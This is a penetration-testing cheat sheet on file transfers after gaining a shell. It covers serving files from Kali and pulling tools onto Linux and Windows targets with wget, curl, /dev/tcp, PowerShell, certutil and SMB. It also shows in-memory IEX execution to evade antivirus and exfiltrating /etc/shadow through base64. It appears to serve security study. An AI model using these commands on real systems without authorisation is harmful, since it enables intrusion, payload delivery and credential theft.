Skip to content

File transfers

← Back to index

Once you have a shell, you'll constantly need to move files both ways — enum scripts and exploits to the target, loot (hashes, keys, DB dumps) back to Kali. The principle: run a server on Kali, then pull from the target using whatever the target already has. The art is picking a method the target actually supports — a Windows box has no wget, an old Linux box has no curl, so you check first (which / Get-Command).

Serve from Kali

python3 -m http.server 80                      # simplest — HTTP on port 80
impacket-smbserver share $(pwd) -smb2support   # SMB — best for Windows targets
impacket-smbserver share $(pwd) -smb2support -user u -password p   # authed (modern Win needs it)
python3 -m pyftpdlib -p 21 -w                   # writable FTP — lets the target upload back to you
nc -lvnp 443 > incoming.file                    # receive a single file via nc
Why SMB for Windows: Windows speaks SMB natively, so copy \\kali\share\x.exe works with no download tool and often slips past egress filtering that blocks HTTP. For Linux, HTTP (http.server) is simplest.

Pull onto a Linux target

wget http://$LHOST/linpeas.sh -O /tmp/linpeas.sh
curl http://$LHOST/linpeas.sh -o /tmp/linpeas.sh
# neither installed? bash's built-in /dev/tcp:
exec 3<>/dev/tcp/$LHOST/80; echo -e "GET /f HTTP/1.0\r\n\r" >&3; cat <&3

Pull onto a Windows target

iwr -uri http://$LHOST/x.exe -o C:\Windows\Temp\x.exe              # PowerShell 3+
(New-Object Net.WebClient).DownloadFile('http://$LHOST/x.exe','C:\Windows\Temp\x.exe')
IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/PowerUp.ps1')   # run in MEMORY (no disk, dodges AV)
certutil -urlcache -f http://$LHOST/x.exe x.exe                    # LOLBAS — trusted binary
copy \\$LHOST\share\x.exe C:\Windows\Temp\x.exe                   # from your impacket SMB share
Reasoning: IEX ...DownloadString runs a script in memory without ever touching disk — that frequently bypasses AV that would quarantine a dropped file. certutil/bitsadmin are "living off the land": trusted Windows binaries that download for you, useful when PowerShell is watched.

Get loot back to Kali

# small file: base64 it through the shell you already have
base64 -w0 /etc/shadow      # copy the output, then locally: echo '<blob>' | base64 -d > shadow
# bigger: upload to your pyftpdlib / smbserver from the target
Reasoning: you don't always need a fancy channel — for a hash file or an SSH key, base64-through-the-existing-shell is instant and needs no second connection.

Gotchas (where transfers quietly fail)

  • Writable directories: Windows → C:\Windows\Temp, C:\Users\Public. Linux → /tmp, and /dev/shm when /tmp is mounted noexec (your binary won't run from a noexec mount — a classic "why won't it execute" trap).
  • chmod +x your transferred binary on Linux, and verify the size/hash matches — a truncated transfer fails silently.
  • AV ate your exe → switch to in-memory execution (IEX), a LOLBAS, a different encoder, or live off the land with no binary at all.
  • Modern Windows refuses your SMB share → it requires signing/auth; use the -user/-password impacket form and net use with those creds.